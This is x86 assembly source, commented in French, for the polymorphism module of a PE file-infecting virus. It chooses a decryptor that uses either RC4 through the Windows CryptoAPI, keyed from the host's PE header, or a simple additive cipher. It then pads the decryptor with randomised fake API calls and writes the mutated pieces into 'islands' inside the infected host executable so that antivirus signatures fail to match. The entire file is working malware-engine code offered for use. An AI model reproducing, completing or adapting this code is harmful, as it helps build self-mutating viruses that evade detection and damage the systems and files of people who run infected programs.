;MODULE : POLYMORPHISATION
;Ce module est chargé de choisir un décrypteur, le randomiser un peu (insertion de fake
;api calls) et d'appeler le poly engine dessus.



; apis de advapi32:
A32_CRYPTACQUIRECONTEXTA                                EQU 0
A32_CRYPTCREATEHASH                                     EQU 1
A32_CRYPTHASHDATA                                       EQU 2
A32_CRYPTDERIVEKEY                                      EQU 3
A32_CRYPTDECRYPT                                        EQU 4
A32_CRYPTENCRYPT                                        EQU 5




ILOT_SEPARATEUR macro
    db 0FFh
endm

;POLY_CHOISIT_DECRYPTEUR : choisit un decrypteur
; in :
; out : variables poly_decrypteur, poly_nb_parties_decrypteur, fonction_encryption, poly_taille_pseudo_decrypteur, modifiées
poly_choisit_decrypteur proc near
    pusha
    mov eax,PROB_DECRYPTEUR_SIMPLE
    call rand_tuna
    test eax,eax
    jz pcd_simple

pcd_cryptoapis:
    lea eax,[ebp+encrypt_cryptoapis]
    mov [ebp+fonction_encryption],eax
    lea eax,[ebp+pseudo_decrypteur_cryptoapis]
    mov [ebp+poly_decrypteur],eax
    lea eax,[ebp+name_a32]
    mov [ebp+poly_name_dll],eax
    lea eax,[ebp+apis_advapi_compatibles]
    mov [ebp+poly_liste_apis_compat],eax
    mov [ebp+poly_nb_apis_compat],nb_apis_advapi_compatibles
    mov [ebp+poly_nb_parties_decrypteur],NB_PARTIES_DECRYPTEUR_INITIAL_CRYPTOAPIS
    mov [ebp+poly_ca_peheader],edx
    jmp pcd_fin
pcd_simple:
    lea eax,[ebp+encrypt_simple]
    mov [ebp+fonction_encryption],eax
    lea eax,[ebp+pseudo_decrypteur_simple]
    mov [ebp+poly_decrypteur],eax
    xor eax,eax
    mov [ebp+poly_name_dll],eax
    mov [ebp+poly_nb_parties_decrypteur],NB_PARTIES_DECRYPTEUR_INITIAL_SIMPLE
    mov [ebp+poly_ca_peheader],edx
    xor eax,eax
    dec eax
    call rand_tuna
    mov [ebp+simple_cle],eax
pcd_fin:
    popa
    ret
poly_choisit_decrypteur endp


;POLY_PSEUDO_POLYMORPHIZE : Pseudo-polymorphize un décrypteur
;in : esi-->pseudo-code du decrypteur
;     edi-->buffer dispo
;     poly_nb_parties_decrypteur renseigné
;out: edi-->buffer rempli avec le decrypteur pseudo-polymorphisé
;
;Ajoute les fake apis au décrypteur. Cette fonction trvaille sur du pseudo-code.
poly_pseudo_polymorphize proc near
    pusha
    xor edx,edx
    movzx ebx,byte ptr [ebp+poly_nb_parties_decrypteur]
    mov eax,MAX_NB_PARTIES-1
    sub eax,ebx
    div ebx
    mov edx,eax             ;edx=nb fake apis par ilot
    movsw                   ;pas touche au premier pseudo-opcode !!
psp_0:
    push edx
psp_fake_api:
    call psp_insere_fake_api
    dec edx
    jnz psp_fake_api
    pop edx
psp_1:
    xor eax,eax
    lodsb
    stosb
    cmp eax,OP_FIN_DECRYPTEUR
    jz psp_fin
    cmp eax,0FFh
    jz psp_0
    lodsb
    stosb
    mov ecx,eax
    imul ecx,5
    rep movsb
    jmp psp_1
psp_fin:
    popa
    ret
poly_pseudo_polymorphize endp


;PSP_INSERE_FAKE_API : insere une fake api dans le decrypteur
; in : edi-->endroit du décrypteur
; out: none
psp_insere_fake_api proc near
    push esi edx ecx
;choisit une fake_api
    lea esi,[ebp+fake_apis]
    call taille_liste
    mov eax,ebx
    shr eax,1
    test eax,eax
    jz pifa_fin
    call rand_tuna
    lea esi,[esi+eax*8]
    xor ebx,ebx
    cmp [esi],ebx   ;esi-> (future rva de l'api,nb args de l'api)
    jz pifa_fin

;genere le pseudo-code de l'ilot
    xor eax,eax
    mov al,OP_random_pushs_api
    stosw           ;random_pushs_api
    mov al,OP_push_next_location
    stosw           ;random_pushs_api

;les pushs
    mov ecx,[esi+4]
    jecxz pifa_noargs
pifa_pushs:
    mov al,OP_random_push
    stosw
    loop pifa_pushs
pifa_noargs:
    mov al,OP_call_mem
    mov ah,OP_call_mem_NB_ARGS
    stosw
    mov al,TYPE_ADRESSE
    stosb
    mov eax,[esi]
    add eax,[ebp+imagebase]
    stosd

    xor eax,eax
    mov al,OP_retour
    stosw           ;retour
    mov al,0FFh     ;fin ilot
    stosb
    inc byte ptr [ebp+poly_nb_parties_decrypteur]
pifa_fin:
    pop ecx edx esi
    ret
psp_insere_fake_api endp


;POLY_POLYMORPHISE : polymorphise le décrypteur et l'écrit dans les ilots
; in : esi->pseudo-code, ebx->hote filemappé, edx-->PE header locations rempli
;out : ilots remplis
poly_polymorphise proc near
    pusha
    xor eax,eax
    mov [ebp+poly_appels],al
    mov [ebp+nb_fake_pushs],eax
    lea ecx,[ebp+locations]     ;adresses des ilots
pp_re:
    lea edi,[ebp+poly_buffer]
pp_boucle:
;separe l'api
    xor eax,eax
    lodsb
    cmp eax,0FFh
    jz pp_fin_boucle
    stosb
    cmp eax,OP_FIN_DECRYPTEUR   ; fin ?
    jz pp_fin
    lodsb
    stosb
    push ecx
    mov ecx,eax
    imul ecx,5
    rep movsb
    pop ecx
    jmp pp_boucle
pp_fin_boucle:
    mov al,OP_FIN_DECRYPTEUR
    stosb

;polymorphize
    pusha
    lea esi,[ebp+poly_buffer]   ;pseudo-opcodes à polymorphiser
    mov eax,[ecx]
    call rva2raw
    lea edi,[eax+ebx]           ;edi-->adresse physique de l'ilot
    mov ecx,[ecx]
    add ecx,[ebp+imagebase]     ;ecx-->adresse virtuelle de l'ilot
    mov ebx,(offset memoire-offset debut_virus)+ (TAILLE_IMPORTS + DECRYPTOR_SIZE)
    add ebx,[ebp+infection_rva]
    add ebx,[ebp+imagebase]     ;ebx=virtual adress de la mémoire

    lea eax,[ebp+memoire]       ;eax-->memoire
    mov edx,OPCODE_MAX_SIZE     ;taille max du code généré par pseudo-opcode
    call poly_asm
    popa
    add ecx,8                   ;ilot suivant
    jmp pp_re
pp_fin:
    popa
    ret
poly_polymorphise endp


;============================== FONCTIONS D'ENCRYPTION ======================
;ENCRYPT_CRYPTOAPIS : encrypteur pour le decrypteur via cryptoapis
;  in  :   edx->pe header, ebx->file mapping,  edi-->code to encrypt
;  out :   code to encrypt encrypted !
encrypt_cryptoapis proc near
        pusha
        push edi
        push edx
        push ebx

        xor eax,eax
        push dword ptr CRYPT_VERIFYCONTEXT
        push dword ptr PROV_RSA_FULL
        push eax
        push eax
        lea eax,[ebp+vtmp1]
        push eax
        call_ CAcquireContextA

        lea eax,[ebp+vtmp2]
        push eax
        xor eax,eax
        push eax
        push eax
        push CALG_MD5
        push dword ptr [ebp+vtmp1]
        call_ CCreateHash

        pop ecx
        pop edx
        xor eax,eax
        push eax
        add al,4
        push eax
        mov eax,[edx+80h]
        call rva2raw
        add eax,ecx
        push eax
        push dword ptr [ebp+vtmp2]
        call_ CHashData


        lea eax,[ebp+vtmp3]
        push eax
        push dword ptr TAILLE_CLE
        push dword ptr [ebp+vtmp2]
        push CALG_RC4
        push dword ptr [ebp+vtmp1]
        call_ CDeriveKey

        pop edi
        mov [ebp+vtmp4],dword ptr code_to_crypt_len
        push dword ptr code_to_crypt_len
        lea eax,[ebp+vtmp4]
        push eax
        push edi
        xor eax,eax
        push eax
        inc eax
        push eax
        dec eax
        push eax
        push dword ptr [ebp+vtmp3]
        call_ CEncrypt

        popa
        ret
encrypt_cryptoapis endp

;ENCRYPT_SIMPLE : encrypteur pour le decrypteur simple
;  in  :   edx->pe header, ebx->file mapping,  edi-->code to encrypt
;  out :   code to encrypt encrypted !
encrypt_simple proc near
    pusha
    mov esi,edi
    mov ecx,code_to_crypt_len/4+1
es_boucle:
    lodsd
    add eax,[ebp+simple_cle]
    stosd
    loop es_boucle
    popa
    ret
encrypt_simple endp

;============================== PSEUDO DECRYPTEURS =============================
;
;Code des décrypteurs sous forme de pseudo-code, compréhensible apr le poly engine.
;Chaque pseudo-code est en fait un appel à une transformation définie dans le fichier
;regles.kpasm

pseudo_decrypteur_cryptoapis:
        cryptoapis_init

        ;cryptacquirecontext
        random_pushs_api
        push_next_location
        push_cst CRYPT_VERIFYCONTEXT
        push_cst PROV_RSA_FULL
        push_cst 0
        push_cst 0
        push_cst_csp
        call_api A32_CRYPTACQUIRECONTEXTA
        retour
        ILOT_SEPARATEUR

        ;cryptcreatehash
        random_pushs_api
        push_next_location
        push_cst_hash;
        push_cst 0
        push_cst 0
        push_cst CALG_MD5
        push_mem_csp
        call_api A32_CRYPTCREATEHASH
        retour
        ILOT_SEPARATEUR

        ;crypthashdata
        random_pushs_api
        push_next_location
        push_cst 0
        push_cst 4
        push_mem_position_cle
        push_mem_hash
        call_api A32_CRYPTHASHDATA
        retour
        ILOT_SEPARATEUR

        ;cryptderivekey
        random_pushs_api
        push_next_location
        push_cst_key
        push_cst TAILLE_CLE
        push_mem_hash
        push_cst CALG_RC4
        push_mem_csp
        call_api A32_CRYPTDERIVEKEY
        retour
        ILOT_SEPARATEUR

        ;cryptdecrypt
        random_pushs_api
        push_mem_offset_code
        push_cst_taille_code
        push_mem_offset_code
        push_cst 0
        push_cst 1
        push_cst 0
        push_mem_key
        call_api A32_CRYPTDECRYPT
        retour
        ILOT_SEPARATEUR
        FIN_DECRYPTEUR

NB_PARTIES_DECRYPTEUR_INITIAL_CRYPTOAPIS EQU 5

poly_ca_peheader    dd ?


pseudo_decrypteur_simple:
        simple_init

        simple_init_registres
        simple_lit
        simple_decrypte
        simple_ecrit
        simple_boucle
        simple_saut
        ILOT_SEPARATEUR
        FIN_DECRYPTEUR

NB_PARTIES_DECRYPTEUR_INITIAL_SIMPLE    EQU 1

;============================== MISC ============================
rand_tuna proc near    ;in: eax=val max   out: eax=rand()
    push edx
    push ebx
    push eax
    mov eax,[ebp + RAND_SEED]   ;on initialise eax avec la "graine"
    mov ebx,eax         ;on copie eax dans ebx c-a-d RAND_SEED
    shl eax,13          ;eax = (n << D2) = res1
    xor eax,ebx         ;eax = (res1 ^ n) = res2
    shr eax,19          ;eax = (res2 >> D3) = res3
    and ebx,4294967294  ;ebx = (n & E) = res4
    shl ebx,12          ;ebx = (res4 << D1) = res5
    xor eax,ebx         ;eax = (res5 ^ res3) = resultat final
    mov dword ptr [ebp + RAND_SEED],eax  ;on sauvegarde le resultat final
    xor edx,edx
    pop ebx
    div ebx
    mov eax,edx
    pop ebx
    pop edx
    or eax,eax
    ret             ;fini, vous trouvez le npa dans RANDOM_SEED
rand_tuna endp
